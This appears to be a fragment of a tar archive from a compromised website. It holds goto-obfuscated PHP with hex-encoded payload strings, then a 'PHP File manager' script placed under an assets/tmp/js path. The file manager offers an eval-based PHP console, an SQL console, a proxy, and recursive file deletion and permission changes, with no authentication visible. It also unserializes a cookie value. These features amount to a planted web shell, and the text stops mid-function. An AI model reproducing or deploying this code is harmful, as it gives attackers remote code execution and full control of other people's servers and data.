63\66\x35\64\61\x37\x36\61\x34\x35\x37\64\x31\x37\x65\x36\x30\x37\146\64\x36\67\x61\60\63\x35\x33\67\63\x35\66\x34\x63\x37\x62\61\x36\x31\x39\x30\x35\65\x66\65\71\x36\x37\x36\x38\x36\71\65\65\x32\x37\x34\144\64\x32\x37\x30\63\142\x35\x66\x37\x62\62\x65\67\x35\x30\x30\64\x65\x34\61\x36\60\x37\66\67\x63\x35\x34\66\x64\65\x65\61\146\x36\141\x35\67\x35\146\x30\144\64\x31\67\x36\x31\142\65\66\64\62\61\66\x36\65\62\x33\x33\71\x37\143\x31\x39\x32\145\67\62\x30\71\x34\x35\67\x66\64\70\61\71\x30\x39\x35\x65\x35\x39\x36\66\63\66\x30\x38\x35\61\67\143\64\x35\x34\x36\67\61\62\65\65\x65\67\141\65\x35\67\65\60\x32\x34\x33\64\60\66\66\67\x35\x37\x65\65\63\x36\x39\65\141\64\x38\61\143\65\63\x30\x33\x31\x33\x34\61\x37\x36\61\x30\65\x36\x34\62\67\146\66\x31\x37\x30\64\144\67\60\65\144\x35\x39\67\x37\x35\66\64\141\67\x35\x34\x33\66\x34\x30\63\x35\x32\65\x35\x36\x37\x36\x30\66\61\x35\65\x32\x37\x34\x64\x34\62\x37\x37\x34\64\65\66\x37\65\63\x30\x36\x35\x31\144\64\x34\64\62\66\x31\67\x31\67\x30\65\x31\66\61\x35\70\x34\60\x36\67\x35\x64\x31\x65\x36\x37\x34\x30\62\142\61\x32\x35\145\64\x38\67\67\x36\70\62\x37\x33\71\x37\x39\65\146\x32\145\67\x61\x35\65\x34\x37\67\70\x34\63\66\146\60\x33\60\x61\65\x38\66\64\66\63\x31\x36\65\146\x37\x66\64\66\64\x30\62\64\x34\143\65\x37\67\141\65\x31\67\x32\60\x32\64\63\x34\62\63\144\x31\x30\x37\70\x35\60\x30\70\65\x65\60\61\66\x62\65\x35\65\142\66\x63\x34\65\67\67\x31\142\65\x32\x31\x66\x37\143\x36\62\x37\144\x34\64\67\144\65\x63\x32\x65\x37\64\60\63\x34\x37\x37\x34\x34\67\60\x37\60\x39\x35\63\65\x38\x36\x65\63\x62\66\62\65\146\67\143\62\143\64\61\x32\x65\x34\x63\65\66\62\x31\62\x65\x37\67\60\66\64\145\64\62\x36\x65\x37\63\x37\x64\x35\x34\x36\x64\65\x34\61\x62\66\141\65\x64\x35\x37\x36\67\x34\60\x37\x31\x31\67\x35\x30\64\x30\67\145\66\64\x37\70\x34\64\x37\x39\61\x64\x32\x65\67\60\65\64\x32\146\67\x64\64\65\66\145\x30\x35\x30\x61\x35\x33\x36\64\x36\64\66\x64\65\x33\x37\141\64\146\64\x31\x32\71\x34\x63\65\x61\62\x62\x35\70\67\145\x30\x34\64\67\64\x36\x36\64\61\60\x37\x38\x35\62\66\x32\65\x65\x34\61\61\x63\65\67\x35\x39\x31\x33\64\61\67\62\61\70\65\x65\x34\x32\67\x33\66\x32\62\x34\62\67\x37\144\65\x65\65\70\67\x30\65\63\x33\61\67\144\x30\x31\66\66\60\65\60\x30\x35\141\x36\64\66\66\66\x30\65\65\x37\x63\x34\x34\x34\x30\x37\x36\64\x66\x35\66\x37\x34\65\61\67\x65\x30\65\x33\70\64\70\66\60\x37\70\x37\71\x30\x38\66\144\x35\145\x31\143\x36\141\x35\144\x30\x39\66\64\x34\x30\67\x66\61\x30\x35\x30\x34\x34\x37\63\x36\66\67\x62\64\x36\67\70\65\145\x35\x31\x37\60\x35\65\64\71\67\144\x34\60\x36\62\x30\67\65\x65\x35\71\x36\67\x36\67\66\x32\x35\x66\67\143\64\144\64\x31\67\141\64\144\x35\x65\63\143\x35\70\x37\x37\60\66\64\67\x34\x32\63\x64\x31\x30\67\70\x30\x38\66\145\x35\141\61\146\60\62\65\63\60\63\x36\x65\x34\x30\67\145\61\70\65\x34\x34\63\x37\x33\x36\x32\63\71\x32\67\67\70\x35\x64\65\x38\x37\66\x35\x37\63\x31\x37\70\x34\62\66\x36\60\x37\x35\x32\x35\141\66\64\63\x62\66\x65\x35\x66\x32\x34\x34\x39\64\61\67\x34\x32\65\65\x66\x37\71\x33\60\67\x36\x35\x65\64\x35\x34\x36\66\64\x37\66\x37\x31\65\63\66\61\x35\x65\64\x37\66\70\65\x37\65\x64\x30\x64\64\61\x32\x38\67\x31\x35\x65\64\70\67\x30\66\x36\x32\63\62\x37\x37\x38\65\x64\x35\x36\67\141\60\145\64\x39\x37\143\x34\x31\x36\x66\60\67\x35\x32\x35\x39\66\x65\x36\61\x36\144\65\146\67\x38\x34\66\x34\x35\63\x37\x34\x66\x34\x64\66\x31\65\x32\x37\65\x30\x36\x34\x66\64\x38\x36\x30\x37\x39\67\143\x35\67\x30\x38\x35\64\x31\x63\66\x34\65\x34\x35\144\61\x33\x34\62\x33\62\61\x32\x35\x34\x34\67\x30\70\66\x35\x37\x38\64\x64\x37\145\x30\141\x35\x33\66\60\x34\x39\64\144\67\x66\x34\67\66\145\x30\x39\x35\60\65\x36\66\x32\x36\x30\66\144\65\x66\x37\x65\63\62\x34\61\x37\67\62\x35\65\71\63\70\x35\71\67\63\x30\x30\x34\65\x35\x32\67\141\67\x32\67\141\x35\60\66\x62\65\x34\64\66\66\x33\65\x31\65\146\66\64\64\x32\x37\67\x31\x34\x35\67\64\65\x30\70\x36\66\63\144\x32\x37\x37\x63\x35\144\x35\71\66\x30\64\x39\x34\144\x37\144\64\64\x36\x31\x30\63\60\x64\65\61\66\60\63\x36\x30\x38\64\65\x36\64\64\x65\x34\x30\x37\66\x33\x62\x35\x64\x37\71\x35\x35\x37\61\x35\67\62\66\x35\x32\67\141\x37\x32\x37\70\x35\63\x36\x62\65\145\x34\61\61\143\65\63\60\x39\x36\x35\65\x32\x36\x62\x31\63\65\x36\x34\64\x37\x37\66\x35\67\x62\64\61\66\141\63\x31\60\144"), $QRuUd), true); goto uK1iM; gXsGs: hC1Jr: goto jAyIh; yA9xZ: goto n13Oz; goto iVwpS; ZJ77m: echo B6Kq9(28); goto r3KFs; rutpU: $vWNXk = rtrim($Xl7T3, b6KQ9(20)) . B6Kq9(21) . $BDlpb; goto ZEn_r; KQlAl: function E9Ik1($LVVWq) { goto NoyGg; a7TkG: if (!!($LVVWq >= 1024)) { goto yMwaE; } goto oOrdE; yYTy3: if (!!($LVVWq >= 1048576)) { goto H3HRD; } goto a7TkG; nXgF1: return number_format($LVVWq / 1073741824, 2) . b6Kq9(80); goto MX5tV; c70Zq: yMwaE: goto ilBo0; oOrdE: return $LVVWq . b6KQ9(83); goto vU165; MX5tV: goto BsBN8; goto GxL6K; n5MRK: return number_format($LVVWq / 1048576, 2) . B6Kq9(81); goto vxVe3; NoyGg: if (!!($LVVWq >= 1073741824)) { goto PvE1_; } goto yYTy3; vU165: goto BsBN8; goto Xq31C; GxL6K: H3HRD: goto n5MRK; ilBo0: return number_format($LVVWq / 1024, 2) . b6KQ9(82); goto NWT7X; Xq31C: PvE1_: goto nXgF1; NWT7X: BsBN8: goto CaCBw; vxVe3: goto BsBN8; goto c70Zq; CaCBw: } goto UaFv_; w_s0k: if (!!($kcn9H === null)) { goto XeIs1; } goto zP8PC; Fuf3b: echo b6Kq9(42); goto wtVMq; PlYPb: ajzVl: goto KQlAl; yfUh2: if (!!rename($BT3cI, $JwZ0v)) { goto Wm5H2; } goto aUqOK; aADBN: ybwGs: goto lgSoT; lgSoT: if (!isset($_POST[b6kQ9(17)])) { goto viKBt; } goto oR7gw; UaFv_: echo "\74\57\164\141\x62\154\145\x3e\15\12\74\57\144\151\166\76\74\163\143\x72\151\x70\164\76\15\12\146\x75\156\x63\x74\151\x6f\x6e\40\164\157\147\x67\154\x65\106\x6f\162\x6d\50\146\157\162\155\x49\x64\51\40\x7b\xd\12\x76\x61\x72\x20\146\x6f\162\155\163\x20\75\x20\144\157\x63\x75\x6d\145\156\164\56\161\165\x65\162\171\123\145\x6c\x65\x63\164\157\x72\x41\154\154\50\47\x2e\146\x6f\x72\x6d\x2d\x63\x6f\x6e\x74\x61\151\x6e\145\162\x27\x29\x3b\xd\12\146\157\162\x6d\x73\x2e\x66\157\162\x45\141\x63\150\50\146\x75\156\x63\164\x69\157\x6e\x28\146\157\162\x6d\x29\40\x7b\15\12\x66\157\162\155\x2e\x73\164\171\x6c\145\x2e\x64\x69\163\160\154\141\171\40\x3d\x20\x27\156\157\156\x65\x27\73\15\12\175\x29\x3b\166\x61\162\40\x66\157\162\155\40\x3d\40\x64\157\143\x75\x6d\x65\x6e\x74\x2e\x67\x65\164\x45\154\145\155\145\156\x74\102\x79\111\144\50\146\157\162\x6d\111\x64\x29\73\xd\12\x69\146\40\x28\146\157\x72\155\x29\40\x7b\15\12\x66\x6f\162\155\x2e\x73\x74\x79\154\x65\56\144\x69\163\x70\x6c\x61\x79\40\75\40\50\x66\157\162\155\x2e\163\164\171\x6c\x65\x2e\144\x69\163\x70\x6c\x61\171\40\75\75\x3d\x20\x27\x62\x6c\157\x63\153\47\x29\40\77\40\x27\x6e\157\156\145\x27\40\x3a\40\47\x62\x6c\157\143\153\47\73\xd\xa\175\xd\12\175\x66\x75\x6e\143\164\x69\x6f\x6e\x20\143\x6f\x6e\146\151\x72\155\104\145\154\145\164\145\50\x70\x61\164\150\51\40\x7b\15\12\x69\x66\40\x28\x63\x6f\x6e\x66\151\162\x6d\50\x27\101\x70\x61\153\141\150\x20\x41\156\144\141\x20\171\141\153\x69\156\40\151\x6e\x67\151\x6e\x20\x6d\145\156\147\x68\x61\x70\x75\163\x20\47\x20\53\40\160\141\164\x68\x20\x2b\40\x27\x3f\47\51\51\40\x7b\15\12\166\x61\x72\x20\146\x6f\162\155\x20\75\40\144\x6f\143\x75\x6d\145\156\164\56\143\x72\145\141\164\145\105\154\x65\155\x65\x6e\164\50\x27\146\x6f\x72\x6d\x27\x29\x3b\xd\xa\x66\x6f\162\x6d\x2e\x6d\145\x74\150\157\144\40\x3d\40\x27\x50\x4f\123\124\47\73\15\xa\146\157\162\x6d\56\x61\143\x74\x69\x6f\156\x20\75\40\47\x27\73\166\141\x72\x20\x69\x6e\x70\x75\164\40\x3d\40\144\157\x63\x75\x6d\x65\156\x74\56\143\162\x65\x61\164\145\x45\x6c\x65\x6d\x65\x6e\164\x28\47\x69\x6e\x70\165\x74\47\x29\x3b\15\xa\x69\x6e\x70\165\164\56\x74\171\160\145\40\x3d\40\x27\150\151\144\144\145\x6e\x27\x3b\xd\12\x69\156\x70\x75\164\56\x6e\x61\155\145\40\75\x20\47\144\x65\154\145\x74\x65\137\x70\141\164\150\x27\x3b\xd\12\x69\156\160\165\x74\56\x76\141\x6c\x75\145\x20\x3d\x20\160\141\164\150\x3b\xd\12\146\x6f\x72\x6d\56\x61\x70\x70\145\x6e\x64\x43\150\151\154\144\x28\151\156\160\165\x74\x29\73\144\157\143\x75\x6d\145\156\164\x2e\142\x6f\x64\171\56\141\160\160\x65\x6e\x64\x43\x68\151\x6c\x64\50\x66\x6f\162\155\51\x3b\xd\xa\146\157\162\155\x2e\163\x75\142\x6d\151\164\50\51\73\xd\xa\175\xd\xa\x7d\xd\xa\74\57\x73\x63\x72\x69\160\164\x3e\xd\xa\74\57\142\x6f\x64\171\x3e\xd\xa\x3c\57\x68\164\x6d\x6c\x3e";
?>dist/content/assets/archive/tmp/js/pye/index.php000066600000240701151334721360015752 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
